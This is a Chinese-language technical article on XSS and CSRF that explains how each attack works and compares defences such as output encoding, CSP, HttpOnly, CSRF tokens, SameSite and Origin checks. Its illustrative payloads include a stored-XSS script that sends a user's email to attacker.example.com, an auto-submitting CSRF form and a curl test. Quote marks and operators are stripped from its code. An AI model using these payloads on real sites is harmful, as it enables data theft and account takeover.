一文讲透XSS与CSRF:原理、区别与防御方案

发布时间:2026/10/17 15:19:03
一文讲透XSS与CSRF:原理、区别与防御方案
1. 先搞清楚 XSS 和 CSRF 到底各管哪一段1.1 两者的信任模型差异我做 Web 开发这些年见过不少团队把 XSS 和 CSRF 放在同一个修复单里处理理由是“都是安全问题都跟前端脚本有关”。这种分类不能说错但如果你不先弄明白这两个漏洞的信任模型差异后面做防御很容易做偏。XSS全称 Cross-Site Scripting翻译过来是跨站脚本攻击。它攻击的信任关系是“用户对网站的信任”。用户访问的是一个看起来完全正常的页面结果页面里被塞进了攻击者的脚本脚本在这个页面上下文里执行想读 Cookie 就读 Cookie想改 DOM 就改 DOM。说白了XSS 的核心是“代码注入”攻击者让你以为你在跟网站对话其实脚本已经在替你发言了。CSRF全称 Cross-Site Request Forgery跨站请求伪造。它攻击的信任关系是“网站对浏览器的信任”。网站一看请求是从你的浏览器发出来的还带着你的登录凭证就默认这个请求是你本人的意愿。攻击者就是利用这一点在另一个站点上构造一个请求诱导你的浏览器去向目标站点发请求。最典型的就是转账接口你登录了 A 银行的系统浏览器的 Cookie 里还带着会话凭证这时候你去访问了 B 网站B 网站里藏着一个提交到 A 银行转账接口的请求浏览器会“乖乖”地把 Cookie 带上A 银行的服务器就以为是你本人在转账。用一个生活中的场景来类比XSS 相当于有人冒充你本人站在银行柜台前办事因为证件造得足够像柜员认了CSRF 相当于你没去柜台但有人拿着你的证件复印件趁柜员没细看替你把业务办了。1.2 为什么前端开发者总把两者混在一起我不知道你是不是也有这种感觉XSS、CSRF、CORS、CSRF Token、HttpOnly、SameSite……这些词放一起长得像使用场景又有重叠特别容易搞混。我整理了一下大家容易混的原因主要有三个第一名字里都有“Cross-Site”都跟浏览器跨站行为有关。XSS 利用的是跨站脚本CSRF 利用的是跨站请求一个是脚本一个是请求就差一个词。第二都跟 Cookie 有关系。XSS 想偷 CookieCSRF 想借用 Cookie。很多人在做防御的时候把 HttpOnly 打开、把 SameSite 设置好就以为 XSS 和 CSRF 一并解决了——实际上 HttpOnly 和 SameSite 确实能削弱一部分攻击面但远远不够。第三报错现象都发生在浏览器端。用户会看到弹窗、页面被篡改、或者莫名其妙发出一个请求。前端排查时很难一眼判断到底是哪一类漏洞。所以这篇文章我打算把 XSS 和 CSRF 分开讲透从原理到防御逐个过一遍。理解透了这两个漏洞你在平时写代码的时候就会主动去想“这个用户输入能不能进到 HTML 里”“这个请求能不能被第三方网站伪造”而不是等安全扫描报告出来了才手忙脚乱。2. XSS 攻击原理拆解三种形态都要熟2.1 反射型 XSS一次性注入反射型 XSS 又叫非持久性 XSS特点是攻击载荷没有存在目标服务器上而是藏在 URL 参数里靠诱导用户点击恶意链接触发。我拿一个最典型的搜索场景来说明。假设后端代码是这么写的// 某站的搜索逻辑这里用 Express 风格示意 app.get(/search, (req, res) { const keyword req.query.q; res.send(div你搜索的是 keyword /div); });正常用户打开/search?q手机页面显示“你搜索的是手机”一切正常。但攻击者构造一个链接/search?qscriptalert(xss)/script用户点开这个链接后后端直接把scriptalert(xss)/script拼进了 HTML 返回浏览器解析 HTML 时就把这段脚本执行了。虽然弹窗只是个警告但如果攻击者换个思路把参数换成窃取凭证的脚本危害就完全不同了。反射型 XSS 的关键点在于注入的 payload 是“反射”回来的。它没有被存到数据库里所以每次触发都要依赖用户点击那条构造好的 URL。攻击者通常会把这个恶意链接伪装一下或者放到短链接服务里诱导你点。注意反射型 XSS 不只出现在 GET 请求里。POST 请求参数同样可能存在反射型注入只是利用起来没有 GET 那么方便因为你要构造一个能自动提交 POST 表单的页面来诱导用户访问。2.2 存储型 XSS最危险的后院失火存储型 XSS 也叫持久性 XSS。攻击者把恶意脚本提交到服务器服务器存进数据库之后任何一个用户访问到包含这段内容的页面脚本都会执行。发个评论的例子。假设评论功能的后端逻辑是这样的// 提交评论 app.post(/api/comment, (req, res) { db.comments.insert({ content: req.body.content, userId: getCurrentUser(req) }); res.json({ ok: true }); }); // 渲染评论 function renderComment(comment) { return div classcomment${comment.content}/div; }攻击者提交的评论内容是script fetch(/api/account/email) .then(res res.json()) .then(data { new Image().src https://attacker.example.com/collect?email data.email; }); /script其他用户打开这个页面时看到自己的邮箱被悄悄送到了攻击者服务器上。而且这种攻击不需要受害者点击任何特殊链接只要打开页面就中招所以传播性极强。论坛、评论区、用户昵称、富文本编辑区凡是能保存用户输入并在页面上渲染的地方都有可能成为存储型 XSS 的落脚点。存储型 XSS 比反射型危害更大的原因有三个一是覆盖面广谁打开页面谁受害二是它不依赖用户点击恶意链接隐蔽性强三是攻击者可以反复修改载荷长期驻留。我甚至见过一个案例某论坛的签名档没做过滤攻击者在签名里埋了一段脚本只要有管理员登录后台脚本就开始抓管理员的会话凭证最后整个后台都被拿下了。2.3 DOM 型 XSS前端代码自己的锅DOM 型 XSS 跟前两种有一个本质区别前两种是服务端把不可信数据拼进了 HTML而 DOM 型 XSS 是纯前端的问题数据不经过服务端直接由 JavaScript 读取 URL、本地存储等来源然后塞进 DOM。看这个极端常见的踩坑写法const name new URLSearchParams(window.location.search).get(name); document.getElementById(welcome).innerHTML 欢迎 name;用户访问/profile?nameimg srcx onerroralert(1)页面加载时innerHTML把这段 HTML 插入到 DOM 里。img标签加载失败onerror事件触发脚本执行。这里数据其实没有经过服务端。服务端返回的 HTML 是正常的是前端 JavaScript 自己把不可信数据解析出来又用不安全的 API 插了进去。所以 DOM 型 XSS 跟后端做不做输出转义没太大关系后端转义做得再严前端照样能中招。触发 DOM 型 XSS 的高危操作有这些用innerHTML、outerHTML插入内容用document.write拼接内容把不可信数据传进eval、setTimeout、setInterval把不可信数据拼进href、src、action等 URL 属性把 JSON 字符串用JSON.parse后直接做 DOM 渲染这里有个容易忽略的点很多前端框架默认已经帮我们做了插值转义所以开发者会放松警惕。但框架的自动转义只针对textContent式的插入一旦你主动调用innerHTML、v-html之类的接口就等于绕过了框架的安全机制转义全得靠自己。2.4 XSS 被利用后到底能干些什么很多人以为 XSS 就是弹个窗风险不大。你把攻击面想窄了。XSS 一旦能执行能干的事情非常多能力说明窃取 Cookie读取document.cookie把会话凭证发给攻击者从而冒用登录态冒充用户操作在页面中发起请求帮攻击者发帖、转账、改密码、删数据篡改页面内容替换下载链接、植入钓鱼表单、伪造弹窗套取账号密码键盘记录监听 input 事件把用户输入的敏感信息转发出去挖矿脚本调用浏览器性能占用资源挖矿受害者毫无察觉结合 CSRF读取页面里的 CSRF Token替攻击者构造绕过 CSRF 防御的合法请求第三条和最后一条要特别留意。XSS 和 CSRF 不是互斥的而是可以联动的XSS 可以偷走 CSRF Token直接瓦解你辛辛苦苦布置的 Token 防线。这也是为什么我一直强调在防御优先级上 XSS 要排在 CSRF 前头XSS 防不住CSRF 的很多防御手段都会被绕过。3. XSS 防御要怎么做一条主线加三道辅助3.1 第一道防线输出编码XSS 的根本成因是“不可信数据进入了危险上下文”。所以最基础的防御思路就是编码把数据当成纯文本处理而不是让它成为 HTML 结构、JavaScript 代码或 URL 的一部分。HTML 上下文的转义规则是把危险字符替换成 HTML 实体function escapeHtml(input) { return String(input) .replace(//g, amp;) .replace(//g, lt;) .replace(//g, gt;) .replace(//g, quot;) .replace(//g, #39;); }把用户输入先过这个函数再拼进 HTMLscript就变成了lt;scriptgt;浏览器只会把它当字符串显示不会去解析执行。但是这里有个坑编码不是一种编码得分上下文。数据插在 HTML 标签之间是一种转义规则插在属性值里得加引号包裹并处理引号和空格风险插在script标签内部得做 JavaScript 上下文转义插在href、src里还要防止javascript:协议注入。单一函数一套规则走天下看起来省事实际会有漏网之鱼。所以更稳妥的做法是把输出编码交给成熟的模板引擎或框架默认机制。现在主流前端框架的插值语法基本都会自动转义你要做的事就一句话别绕过框架的插值机制。像innerHTML、document.write、v-html这种直接插入原始 HTML 的接口能不用就不用。3.2 第二道防线CSP 内容安全策略输出编码做的是“兜底”但如果开发过程中有遗漏或者同事不知道某个接口是危险的编码防线就会被突破。这时候 CSP 就是第二道闸门。CSP 通过响应头告诉浏览器这个页面允许从哪里加载脚本、执行哪些脚本。比如下面的配置Content-Security-Policy: default-src self; script-src self; object-src none; base-uri none这个策略的含义是脚本只能从同源地址加载不允许执行内联脚本和eval。一旦 XSS 注入了一段scriptalert(1)/script浏览器直接拒绝执行报一个 CSP 违规的错误。CSP 对 XSS 的压制效果非常明显几乎所有反射型注入都会被拦下。代价是需要花时间梳理页面里有哪些合法的内联脚本、第三方脚本、eval调用把这些都改成外部文件加载。开发阶段可以先设置成Content-Security-Policy-Report-Only模式只上报违规不拦截观察一段时间确认没有误伤再切换成强制拦截。有一点特别提醒如果 CSP 里写了unsafe-inline等于放弃了内联脚本拦截效果大打折扣。还有strict-dynamic这种高级用法配置不好会导致部分情况失效真要上生产环境建议在测试环境反复验证。3.3 第三道防线Cookie 加固XSS 执行后最想偷的就是document.cookie。如果 Cookie 设置了HttpOnly属性JavaScript 就读不到它攻击者通过 XSS 取走会话凭证的这条路就被堵上了。用代码设置 Cookie 时至少要有这两个属性Set-Cookie: sessionIdabc123; HttpOnly; Secure; SameSiteLax; Path/;HttpOnly让脚本无法读取 Cookie 内容Secure确保 Cookie 只通过 HTTPS 传输中间人截获不了SameSiteLax顺带限制了一部分跨站请求携带 Cookie 的能力对 CSRF 也有一定缓解。但我必须泼个冷水HttpOnly不是 XSS 的万能药。攻击者拿不到 Cookie他还可以直接在受害者的浏览器上发起请求以受害者身份操作站内功能。也就是说XSS 照样能让攻击者在“登录后的你”的浏览器里做坏事只是他分发的那个会话凭证多了一层保护而已。3.4 前端代码层面的好习惯代码习惯是最难靠工具补的一环。我自己的经验是团队里只要有一个成员对 XSS 没概念边界问题迟早会漏。有几个原则值得写进 code review 清单处理用户输入时默认所有输入都是恶意的能转义就转义。优先使用textContent而不是innerHTML。要渲染带格式的内容时用框架提供的安全机制。不要让不可信数据进入href、src、action属性。尤其是 URL 协议需要用白名单过滤允许http、https、mailto拒绝javascript:、data:。富文本场景不能靠输入过滤来完成。富文本本身就是要放行一部分 HTML 的所以必须使用专业的 HTML 清洗工具按标签白名单和属性白名单做净化。比如保留p、strong、a标签去掉script、iframe、style、onerror等风险项。后端入库时不要过度过滤过滤重点放在“输出到页面”的地方。过度过滤会导致数据失真比如用户明明写了一篇技术文章里面的全被吃掉了。4. CSRF 攻击原理拆解从“信任浏览器”说起4.1 攻击成立的两个前提CSRF 一直存在很多人却觉得它“老掉牙了”。其实只要有浏览器自动携带 Cookie 这个机制在CSRF 就会一直存在。攻击成立需要同时满足两个条件第一受害者浏览器上目标站点的会话还没有过期。比如你登录了某钱包系统会话 Cookie 还保存在浏览器里。第二目标站点的请求接口不支持额外的校验机制或者校验可以被绕过。比如接口只校验了“请求是否带上了登录凭证”没有校验请求是不是从本站页面发出的。这两个条件满足攻击者构造一个跨站请求浏览器自动把凭证带过去服务端就认为请求是可信的。你可能会想浏览器不是有同源策略吗为什么跨站请求还能发出这里要区分两个概念同源策略限制的是“读取响应”不限制“发送请求”。浏览器可以跨站发出一个没有同源限制的简单请求比如表单提交、img标签加载、a链接跳转。同源策略会让这个跨站请求的响应“看不到”但请求本身已经到达目标服务器了。生活中做个类比你写了一封信信封上写的是银行的地址邮政系统只管把信送过去不会检查这封信是不是银行客户本人写的。CSRF 就是利用了“邮政系统浏览器只送件、不验证内容”这个特点。4.2 一次典型 CSRF 攻击的完整流程我把这个过程拆成四个步骤你跟着走一遍就彻底清楚了。假设某钱包站点example.com有一个变更邮箱的接口app.post(/api/account/email, (req, res) { const newEmail req.body.email; const userId req.session.userId; db.users.update(userId, { email: newEmail }); res.json({ ok: true }); });第一步受害者登录了钱包站点浏览器保存了该站点的会话 Cookie。第二步攻击者在自己的站点页面上构造了一段自动提交的表单form actionhttps://example.com/api/account/email methodPOST idhack input typehidden nameemail valueattackerexample.com /form script document.getElementById(hack).submit(); /script第三步受害者访问攻击者提供的页面。浏览器执行表单自动提交向钱包站点发出 POST 请求并且因为这是跨站请求浏览器会判断一下 Cookie 策略如果会话 Cookie 的SameSite是None或者未设置Cookie 会被自动带上。第四步钱包站点的接口只校验了登录状态发现请求持有合法会话 Cookie就正常执行了邮箱变更。此时攻击者提交一个找回密码请求重置后的密码就会发到攻击者的邮箱里。整个过程受害者没有任何“不寻常操作”他只是在某个页面停留了一下或者点击了一张图片、一段视频。注意别以为只有form能发起跨站 POST。img标签能发 GET 请求fetch在配合 CORS 配置失误的情况下也可能被利用。老式攻击里一个img srchttps://example.com/api/delete?id123就能触发删除操作前提是删除接口支持 GET 请求。4.3 哪些请求最容易中招从请求类型来看最容易中招的排序是GET 请求。只要接口支持 GET 修改数据img、script、a标签都能不带任何交互地触发请求。表单 POST。HTML 表单天然支持跨站提交而且请求体格式是application/x-www-form-urlencoded后端不用做额外解析就能拿到参数。带有 JSON 格式的请求相对安全一些因为application/json跨站发送必须经历 CORS 预检预检不过就发不出去。但这不是绝对的后端如果开启了 CORS 白名单并且允许了对应来源或者接口能兼容其他 content-type那就另说了。从接口语义来看所有“变更状态”的接口都存在 CSRF 风险。改邮箱、改密码、转账、下单、删除、发消息、退出登录只要这个接口会改变后端数据就要做防伪造校验。查询接口一般不影响数据危害有限但如果查询接口能返回敏感数据配合 XSS 或者 CORS 配置问题也可能出问题。还有一个常见的理解误区有人觉得“我们的接口接收 JSON所以 CSRF 攻击者构造不了”。攻击者确实很难直接用表单发 JSON但他可以发text/plain格式的请求体。后端如果用了宽松的解析库可能照样把文本当 JSON 解析。别赌这种实现细节老老实实做防御。5. CSRF 防御怎么做四套方案对比与落地5.1 CSRF Token校验不可预测字段CSRF Token 是目前使用最广泛、认知度最高的方案。核心思路是服务端在渲染页面时生成一个随机的 Token这个 Token 跟用户会话绑定放在服务端存储里同时在页面表单或者请求头里带上它。提交请求时服务端再校验请求里带的 Token 和会话中存储的 Token 是否一致。因为 Token 是随机的、不可预测的攻击者在构造跨站请求时根本不知道目标用户的 Token 值是多少自然就伪造不出来。落地过程通常分三步第一步生成并签发 Token。用户打开页面时服务端生成一串随机值存入会话同时在模板里输出form action/api/account/email methodPOST input typehidden namecsrfToken value${csrfToken} input typetext nameemail placeholder新邮箱 button typesubmit变更邮箱/button /form第二步前端提交请求时必须把 Token 带上。页面上传的是用户自己的请求肯定能拿到 Token攻击者跨站构造的请求不知道 Token 是多少找都没地方找。第三步后端校验。收到请求后对比请求参数里的csrfToken和会话里存的csrfToken不一致就拒绝if (req.body.csrfToken ! req.session.csrfToken) { return res.status(403).json({ error: invalid csrf token }); }SPA 应用一般把 Token 放到自定义请求头里比如X-CSRF-Token后端设置 CORS 白名单只允许本站点跨域读取响应。攻击者无法在跨站请求里带上这个头因为带自定义头会触发预检。这里有个很关键的联动风险如果目标站点存在 XSSCSRF Token 就会被 XSS 脚本读走。Token 写在隐藏表单里脚本可以读 DOMToken 放在请求头里脚本可以模拟 fetch 请求。所以我还是那句老话XSS 没治住CSRF 防御再花哨也可能被拆掉。5.2 双重提交 Cookie 方案双重提交 Cookie 的思路和 CSRF Token 类似但省掉了服务端存储。具体做法是服务端生成一个随机值把它同时写入两个地方一个是 Cookie另一个是请求参数或请求头。后端校验时只比较这两个值是否一致而不需要去查会话存储。流程是这样的用户访问页面服务端下发一个随机 Token 到 CookiesetCookie: csrfTokenabcdef123456页面里的 JavaScript 从 Cookie 里读取这个 Token或者后端把 Token 直接输出到页面里在提交请求时放到请求头或请求参数里。后端收到请求取 Cookie 里的 Token 和请求头/参数里的 Token比对一致才放行。为什么它能防 CSRF因为攻击者的跨站请求虽然会自动带上目标站的 Cookie但他无法在请求体/请求头里附上同样的 Token。攻击者知道目标站点的 Cookie 里存着什么想不到但他可以在自己的站上读不到那个 Cookie所以他没办法把参数值设置成对应的值。这个方案的问题在于一旦通过 XSS 把页面上的 Token 和 Cookie 里的值都拿到手防御就失效了。另外如果你用了子域名分发 Cookie攻击者能在可控子域上写入同名 Cookie也可能绕过校验。这个方案适合不想引入服务端状态的轻量场景但敏感操作我还是建议用 CSRF Token。5.3 SameSite Cookie 属性SameSite 属性是浏览器层面的解决方案专门限制跨站请求携带 Cookie 的行为。它有三个值值行为适用场景Strict任何跨站请求都不带 Cookie安全要求极高但用户体验差比如从外部链接进入站点时不会携带登录态Lax跨站 GET 顶级导航会带 CookiePOST、fetch 等跨站请求不带兼顾安全与体验当前浏览器的默认行为None跨站请求一律携带 Cookie但必须搭配 Secure需要跨站分发登录态的场景风险最大// 服务端设置 Cookie 时加上属性 res.cookie(sessionId, abc123, { httpOnly: true, secure: true, sameSite: lax });如果你把登录 Cookie 设置成SameSiteLaxCSRF 利用跨站表单 POST 发起攻击的这条路基本就堵死了因为跨站 POST 不会带 Cookie。如果设置成Strict连从外部链接跳转进入站点时首次请求都不带 Cookie用户点开分享链接就会变成“未登录”体验会有影响。但 SameSite 也有覆盖不到的角落不是所有浏览器都支持。老版本浏览器不认识这个属性时跨站请求依然会带 Cookie。哪怕现代浏览器默认都支持 Lax 了旧浏览器用户仍然暴露在风险里。所以 SameSite 可以作为加强项但不能作为唯一防线。5.4 自定义请求头和同源校验第四套方案分成两个配合动作。第一个动作强制要求带自定义头。比如后端统一要求所有写操作的请求必须带上X-Requested-With: XMLHttpRequest或者X-CSRF-Token之类的头。跨站请求要是带自定义头浏览器会先发 CORS 预检请求 OPTIONS服务端没在响应头里放Access-Control-Allow-Headers真实请求根本发不出去。所以攻击者用表单和图片都没法发起带自定义头的跨站请求。第二个动作校验请求来源。后端检查请求头里的Origin或Referer看是不是本站点的域名。如果请求来源不在白名单里直接拒绝。这两个手段的软肋在于Origin头不是所有请求都带有些浏览器在特定场景下会省略那就需要提供默认拒绝策略Referer头可以被浏览器策略或者隐私插件隐藏也可能被页面内部跳转改变。所以同源校验只能作为辅助不能作为主要防线。我的建议是组合使用敏感操作接口同时校验 SameSite Cookie、CSRF Token 和 Origin 头三层防线每一层都能拦掉一批攻击纵深防御才是正经思路。6. 实战经验排查顺序、误区和取舍6.1 安全扫描发现 XSS 后怎么快速定位拿到漏洞报告后先别急着改代码按下面这个顺序排查能少走弯路第一步确认漏洞类型。看报告里附带的请求 URL 和响应内容。如果攻击载荷出现在 URL 参数里并且响应里原样返回大概率是反射型如果载荷在响应里反复出现而且不用构造特殊 URL 都能看到大概率是存储型如果响应里找不到载荷而浏览器执行了脚本重点查前端代码这是 DOM 型。第二步查渲染链路。把用户输入从“入口到渲染”走一遍。入口是 URL 参数、表单、接口渲染是模板插值、innerHTML、document.write。中间任何一步没有转义就要修正。第三步看是否存在富文本场景。富文本是重灾区因为后端不能直接转义得用白名单清洗。我处理过的案例里十有八九是富文本编辑器的输出没有做净化直接存进数据库又直接输出。排查时有一个小技巧在浏览器里用临时加的一段alert(xss)来验证根因改完后再用同样的载荷测一遍确认真实修复了再关闭工单。6.2 安全扫描发现 CSRF 后怎么验证CSRF 的漏洞报告经常只写一句“接口缺少 CSRF Token 校验”验证起来其实不难。第一步打开一个无痕窗口登录目标站点打开开发者工具手动发起一次写操作请求。看看请求里带了哪些 Cookie会不会带上会话凭证。第二步用浏览器开一个新的无痕窗口访问攻击者构造的页面。注意要跟登录窗口区分开模拟攻击者视角下的真实条件。第三步如果发现跨站请求成功触发并且带了 Cookie说明确实存在 CSRF 风险。我自己的习惯是高危操作接口直接用 curl 模拟完整请求流程curl -X POST https://example.com/api/account/email \ -H Origin: https://attacker.example.com \ -b sessionIdabc123 \ -d emailattackerexample.com重点看服务端会不会因为Origin不是本站域名而拒绝。如果照常返回成功那就是漏洞实锤。6.3 防御原则纵深防御别依赖单点这几套方案各有软肋我做了个对比表方便你做取舍方案防御目标软肋适用场景输出编码XSS上下文多容易遗漏所有输出场景CSPXSS配置复杂可能影响正常功能全站强制开启HttpOnlyXSS 偷 Cookie防不住 XSS 直接发请求所有会话 CookieCSRF TokenCSRF被 XSS 窃取后失效写操作接口SameSiteCSRF老浏览器不支持全站 Cookie同源校验CSRFOrigin 缺失、Referer 不稳定作为辅助防线排列组合之后比较稳的组合是XSS 走“输出编码 CSP HttpOnly”CSRF 走“CSRF Token SameSiteLax Origin 校验”。每一层解决一部分风险剩下那部分交给另一层接住。最后分享一个我踩过的坑有一段时间我以为 SameSiteLax 已经默认帮所有接口挡掉了 CSRF就把 Token 校验去掉了。后来有个旧的内部系统跑在不受支持的浏览器上同样一个跨站表单请求照样把 Cookie 带过去了接口照常执行。那次之后我彻底记住了浏览器的安全特性是逐步普及的你的代码得在“最小公共能力”上防御。我们改不动浏览器至少要在服务端把可控的那一层管好。我在实际排查漏洞的时候最深刻的体会是XSS 和 CSRF 看似是两个方向的问题但最后都指向同一个根因——没有对“不可信来源”保持怀疑。写接口的时候多问一句“这个请求能证明是用户本人发起的吗”写渲染逻辑的时候多问一句“这段数据如果包含脚本会怎样”很多漏洞根本不会走到测试阶段。安全不是上线前的一道工序它是每一次提交代码时都该带上的习惯。